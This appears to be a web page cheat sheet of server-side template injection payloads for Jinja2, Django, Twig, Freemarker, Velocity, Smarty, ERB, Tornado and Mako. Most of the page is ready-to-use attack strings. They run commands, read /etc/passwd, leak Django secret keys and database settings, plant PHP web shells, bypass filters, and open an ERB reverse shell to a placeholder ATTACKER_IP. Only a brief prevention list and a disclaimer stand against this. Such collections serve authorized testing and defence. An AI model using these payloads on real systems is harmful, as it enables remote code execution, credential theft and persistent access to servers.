Skip to content

SSTI (Server-Side Template Injection) Payloads

Server-Side Template Injection (SSTI) occurs when attackers inject malicious template directives into a template, which is then executed server-side. This can lead to remote code execution, information disclosure, and full system compromise.

Detection

Basic Detection Payloads

${7*7}
{{7*7}}
#{7*7}
<%= 7*7 %>
${{7*7}}
@(7*7)
{7*7}

Polyglot Detection

${{<%[%'"}}%\.
{{7*'7'}}
${7*'7'}

Jinja2 (Python/Flask)

Basic Payloads

{{7*7}}
{{config}}
{{self}}
{{request}}

Remote Code Execution

{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}

{{self.__init__.__globals__['os'].popen('id').read()}}

{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

{{''.__class__.__mro__[1].__subclasses__()}}

File Reading

{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}

{{config.__class__.__init__.__globals__['os'].popen('cat /etc/passwd').read()}}

Listing Subclasses

{{''.__class__.__mro__}}
{{''.__class__.__mro__[1].__subclasses__()}}
{{''.__class__.__base__.__subclasses__()}}
{{request.__class__.__ mro__}}

Finding Useful Subclass Indices

{% for i in range(0,500) %}
{{ i }} - {{''.__class__.__mro__[1].__subclasses__()[i].__name__}}
{% endfor %}

Bypass Filters

# Without quotes
{{request.args.cmd}}  # Pass ?cmd=whoami

# Using attr()
{{request.application|attr('__globals__')}}

# Using filters
{{''.__class__}}
{{''|attr('__class__')}}

# Unicode bypass
{{\u0027\u0027.__class__}}

Flask-Specific

{{config.items()}}
{{get_flashed_messages.__globals__}}
{{url_for.__globals__}}
{{g}}

Django Templates

Basic Payloads

{{7*7}}
{% debug %}
{{settings}}
{{request}}

Information Disclosure

{{settings.SECRET_KEY}}
{{settings.DATABASES}}
{{messages.storages.0.signer.key}}

Advanced Payloads

{% load log %}
{% get_admin_log 10 as log %}
{% for e in log %}
{{e.user.get_username}} : {{e.user.password}}
{% endfor %}

{% include "admin/base.html" %}

When Django Uses Jinja2

{{7*'7'}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

Twig (PHP)

Basic Detection

{{7*7}}
{{7*'7'}}
{{"a"~"b"}}

Remote Code Execution

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}

{{['id']|filter('system')}}

{{['cat /etc/passwd']|filter('system')}}

{{['cat /etc/passwd']|map('system')|join}}

{{{'<?php system($_GET["cmd"]);?>':'/var/www/html/shell.php'}|map('file_put_contents')}}

File Reading

{{'/etc/passwd'|file_excerpt(1,-1)}}

{{include('file:///etc/passwd')}}

{{"/etc/passwd"|file_excerpt(1,30)}}

Environment Manipulation

{{_self.env.disableStrictVariables()}}
{{_self.env.enableDebug()}}
{{_self.env.setCache("")}}

Freemarker (Java)

Basic Detection

${7*7}
#{7*7}
[#if true]true[/#if]

Remote Code Execution

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("whoami") }

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

<#assign ex="freemarker.template.utility.ObjectConstructor"?new()>${ex("java.lang.ProcessBuilder",["whoami"]).start()}

${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}

File Reading

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(",")}

Information Gathering

${.now}
${.version}
${.data_model}

Velocity (Java)

Basic Detection

#set($x=7*7)$x
#set($a=7)#set($b=7)$a*$b

Remote Code Execution

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
#set($e="")
$e.class.forName("java.lang.Runtime").getRuntime().exec("whoami")

Smarty (PHP)

Basic Detection

{7*7}
{'7'*'7'}
{if 1}true{/if}

Remote Code Execution

{system('whoami')}
{system('id')}
{exec('cat /etc/passwd')}

{php}system('whoami');{/php}

{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php eval($_GET['cmd']); ?>",self::clearConfig())}

File Reading

{include file='/etc/passwd'}
{include file='file:/etc/passwd'}

ERB (Ruby)

Basic Detection

<%= 7*7 %>
<%= '7'*7 %>

Remote Code Execution

<%= system('whoami') %>
<%= `whoami` %>
<%= %x(whoami) %>
<%= exec('whoami') %>

<%= IO.popen('whoami').readlines() %>
<%= `ls /` %>
<%= File.open('/etc/passwd').read %>

Reverse Shell

<%= require 'socket';s=TCPSocket.open("ATTACKER_IP",4444);while cmd=s.gets;IO.popen(cmd,"r"){|io|s.print io.read}end %>

Tornado (Python)

Basic Detection

{{7*7}}
{{7*'7'}}

Remote Code Execution

{% import os %}{{os.system('whoami')}}

{% import subprocess %}{{subprocess.check_output('whoami',shell=True)}}

{% import os %}{{os.popen('id').read()}}

{%import os%}{{os.system('cat /etc/passwd')}}

Mako (Python)

Basic Detection

${7*7}
<%=7*7%>

Remote Code Execution

${self.module.cache.util.os.system("whoami")}

<%
import os
os.system("whoami")
%>

${__import__('os').system('id')}

<%
import subprocess
subprocess.check_output('whoami',shell=True)
%>

Advanced SSTI Techniques

Polyglot Payloads

${{<%[%'"}}%\.
{7*7}${7*7}{{7*7}}#{7*7}

Bypassing Filters

Attribute Access Bypass

# If '.' is filtered
{{request['application']}}
{{request|attr('application')}}

# If '__' is filtered  
{{request['__class__']}}
{{request|attr('_' + '_class_' + '_')}}

String Concatenation

{{''.__class__}}
{{request.__class__}}
{{request['__'+'class'+'__']}}

Using Request Parameters

# ?cmd=__class__
{{request.args.cmd}}

# ?cmd=whoami
{{config.__class__.__init__.__globals__[request.args.os].popen(request.args.cmd).read()}}

Prevention Best Practices

  1. Sandboxed Environments: Use sandboxed template engines
  2. Input Validation: Never allow user input directly in templates
  3. Logic-less Templates: Use logic-less template engines when possible
  4. Whitelist Allowed Objects: Limit accessible objects and methods
  5. Update Template Engines: Keep template systems up-to-date
  6. Code Review: Review template code for injection risks
  7. WAF Rules: Implement WAF rules to detect SSTI patterns

Testing Tools

  • Tplmap - Automated SSTI detection and exploitation
  • Burp Suite - Manual testing with Intruder
  • SSTI Scanner (BApp) - Burp Suite extension
  • SSTImap - SSTI exploitation tool

⚠️ Warning: These payloads are for educational and authorized security testing purposes only. Unauthorized use is illegal.